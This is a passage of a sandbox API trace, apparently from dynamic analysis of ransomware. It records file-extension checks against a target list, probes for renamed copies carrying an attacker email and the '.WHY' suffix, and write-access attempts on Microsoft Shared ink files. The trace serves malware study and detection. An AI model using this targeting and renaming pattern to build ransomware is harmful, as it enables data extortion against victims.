lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.411] lstrlenW (lpString=".doc") returned 4 [0072.411] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.411] lstrlenW (lpString=".docx") returned 5 [0072.411] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.412] lstrlenW (lpString=".pdf") returned 4 [0072.412] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.412] lstrlenW (lpString=".xls") returned 4 [0072.412] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.412] lstrlenW (lpString=".xlsx") returned 5 [0072.412] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.412] lstrlenW (lpString=".ppt") returned 4 [0072.412] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.412] lstrlenW (lpString=".zip") returned 4 [0072.412] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.412] lstrlenW (lpString=".rar") returned 4 [0072.412] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.412] lstrlenW (lpString=".bz2") returned 4 [0072.412] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.413] lstrlenW (lpString=".7z") returned 3 [0072.413] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.413] lstrlenW (lpString=".dbf") returned 4 [0072.413] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.413] lstrlenW (lpString=".1cd") returned 4 [0072.413] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.413] lstrlenW (lpString=".jpg") returned 4 [0072.413] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.414] lstrlenW (lpString=".doc") returned 4 [0072.414] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.414] lstrlenW (lpString=".docx") returned 5 [0072.414] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.414] lstrlenW (lpString=".pdf") returned 4 [0072.414] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.414] lstrlenW (lpString=".xls") returned 4 [0072.414] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.414] lstrlenW (lpString=".xlsx") returned 5 [0072.414] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.414] lstrlenW (lpString=".ppt") returned 4 [0072.414] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.414] lstrlenW (lpString=".zip") returned 4 [0072.415] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.415] lstrlenW (lpString=".rar") returned 4 [0072.415] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.415] lstrlenW (lpString=".bz2") returned 4 [0072.415] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.415] lstrlenW (lpString=".7z") returned 3 [0072.415] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.415] lstrlenW (lpString=".dbf") returned 4 [0072.415] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.415] lstrlenW (lpString=".1cd") returned 4 [0072.415] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0072.416] lstrlenW (lpString=".jpg") returned 4 [0072.416] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.416] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.416] lstrlenW (lpString="auxbase.xml") returned 11 [0072.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0072.645] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1434) returned 1 [0072.645] CloseHandle (hObject=0x1a4) returned 1 [0072.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0072.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.646] lstrlenW (lpString=".doc") returned 4 [0072.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.646] lstrlenW (lpString=".docx") returned 5 [0072.646] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.647] lstrlenW (lpString=".pdf") returned 4 [0072.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.647] lstrlenW (lpString=".xls") returned 4 [0072.647] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.647] lstrlenW (lpString=".xlsx") returned 5 [0072.647] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.647] lstrlenW (lpString=".ppt") returned 4 [0072.647] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.647] lstrlenW (lpString=".zip") returned 4 [0072.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.647] lstrlenW (lpString=".rar") returned 4 [0072.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.648] lstrlenW (lpString=".bz2") returned 4 [0072.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.648] lstrlenW (lpString=".7z") returned 3 [0072.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.648] lstrlenW (lpString=".dbf") returned 4 [0072.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.648] lstrlenW (lpString=".1cd") returned 4 [0072.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.648] lstrlenW (lpString=".jpg") returned 4 [0072.648] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.649] lstrlenW (lpString=".doc") returned 4 [0072.649] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString=".docx") returned 5 [0072.649] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.649] lstrlenW (lpString=".pdf") returned 4 [0072.649] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString=".xls") returned 4 [0072.649] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".xlsx") returned 5 [0072.650] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.650] lstrlenW (lpString=".ppt") returned 4 [0072.650] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.650] lstrlenW (lpString=".zip") returned 4 [0072.650] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.650] lstrlenW (lpString=".rar") returned 4 [0072.650] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".bz2") returned 4 [0072.650] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".7z") returned 3 [0072.650] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.651] lstrlenW (lpString=".dbf") returned 4 [0072.651] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.651] lstrlenW (lpString=".1cd") returned 4 [0072.651] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0072.651] lstrlenW (lpString=".jpg") returned 4 [0072.651] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.652] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.652] lstrlenW (lpString="keypadbase.xml") returned 14 [0072.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.824] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1118) returned 1 [0072.824] CloseHandle (hObject=0x1c8) returned 1 [0072.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0072.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.825] lstrlenW (lpString=".doc") returned 4 [0072.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.825] lstrlenW (lpString=".docx") returned 5 [0072.825] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.825] lstrlenW (lpString=".pdf") returned 4 [0072.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.826] lstrlenW (lpString=".xls") returned 4 [0072.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.826] lstrlenW (lpString=".xlsx") returned 5 [0072.826] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.826] lstrlenW (lpString=".ppt") returned 4 [0072.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.826] lstrlenW (lpString=".zip") returned 4 [0072.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.826] lstrlenW (lpString=".rar") returned 4 [0072.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.826] lstrlenW (lpString=".bz2") returned 4 [0072.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.826] lstrlenW (lpString=".7z") returned 3 [0072.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.827] lstrlenW (lpString=".dbf") returned 4 [0072.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.827] lstrlenW (lpString=".1cd") returned 4 [0072.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.827] lstrlenW (lpString=".jpg") returned 4 [0072.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.827] lstrlenW (lpString=".doc") returned 4 [0072.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.828] lstrlenW (lpString=".docx") returned 5 [0072.828] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.828] lstrlenW (lpString=".pdf") returned 4 [0072.828] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.828] lstrlenW (lpString=".xls") returned 4 [0072.828] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.828] lstrlenW (lpString=".xlsx") returned 5 [0072.828] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.828] lstrlenW (lpString=".ppt") returned 4 [0072.828] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.829] lstrlenW (lpString=".zip") returned 4 [0072.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.829] lstrlenW (lpString=".rar") returned 4 [0072.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.829] lstrlenW (lpString=".bz2") returned 4 [0072.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.829] lstrlenW (lpString=".7z") returned 3 [0072.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.829] lstrlenW (lpString=".dbf") returned 4 [0072.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.829] lstrlenW (lpString=".1cd") returned 4 [0072.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0072.830] lstrlenW (lpString=".jpg") returned 4 [0072.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.830] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.830] lstrlenW (lpString="keypad.xml") returned 10 [0072.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.852] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=727) returned 1 [0072.852] CloseHandle (hObject=0x1e4) returned 1 [0072.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0072.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.853] lstrlenW (lpString=".doc") returned 4 [0072.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.853] lstrlenW (lpString=".docx") returned 5 [0072.853] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0072.853] lstrlenW (lpString=".pdf") returned 4 [0072.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.853] lstrlenW (lpString=".xls") returned 4 [0072.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.854] lstrlenW (lpString=".xlsx") returned 5 [0072.854] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0072.854] lstrlenW (lpString=".ppt") returned 4 [0072.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.854] lstrlenW (lpString=".zip") returned 4 [0072.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.854] lstrlenW (lpString=".rar") returned 4 [0072.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.854] lstrlenW (lpString=".bz2") returned 4 [0072.855] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.855] lstrlenW (lpString=".7z") returned 3 [0072.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.855] lstrlenW (lpString=".dbf") returned 4 [0072.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.856] lstrlenW (lpString=".1cd") returned 4 [0072.856] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.856] lstrlenW (lpString=".jpg") returned 4 [0072.856] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.856] lstrlenW (lpString=".doc") returned 4 [0072.856] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.856] lstrlenW (lpString=".docx") returned 5 [0072.856] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0072.856] lstrlenW (lpString=".pdf") returned 4 [0072.856] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.857] lstrlenW (lpString=".xls") returned 4 [0072.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.857] lstrlenW (lpString=".xlsx") returned 5 [0072.857] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0072.857] lstrlenW (lpString=".ppt") returned 4 [0072.857] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.857] lstrlenW (lpString=".zip") returned 4 [0072.857] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.857] lstrlenW (lpString=".rar") returned 4 [0072.857] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.857] lstrlenW (lpString=".bz2") returned 4 [0072.857] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.858] lstrlenW (lpString=".7z") returned 3 [0072.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.858] lstrlenW (lpString=".dbf") returned 4 [0072.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.858] lstrlenW (lpString=".1cd") returned 4 [0072.858] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0072.858] lstrlenW (lpString=".jpg") returned 4 [0072.858] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.859] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.859] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0072.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0074.959] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=247) returned 1 [0074.959] CloseHandle (hObject=0x1e4) returned 1 [0074.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0074.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.960] lstrlenW (lpString=".doc") returned 4 [0074.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.960] lstrlenW (lpString=".docx") returned 5 [0074.960] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0074.960] lstrlenW (lpString=".pdf") returned 4 [0074.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.960] lstrlenW (lpString=".xls") returned 4 [0074.961] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.961] lstrlenW (lpString=".xlsx") returned 5 [0074.961] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0074.961] lstrlenW (lpString=".ppt") returned 4 [0074.961] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.962] lstrlenW (lpString=".zip") returned 4 [0074.962] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.962] lstrlenW (lpString=".rar") returned 4 [0074.962] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.962] lstrlenW (lpString=".bz2") returned 4 [0074.962] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.962] lstrlenW (lpString=".7z") returned 3 [0074.962] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.962] lstrlenW (lpString=".dbf") returned 4 [0074.962] lstrcmpiW 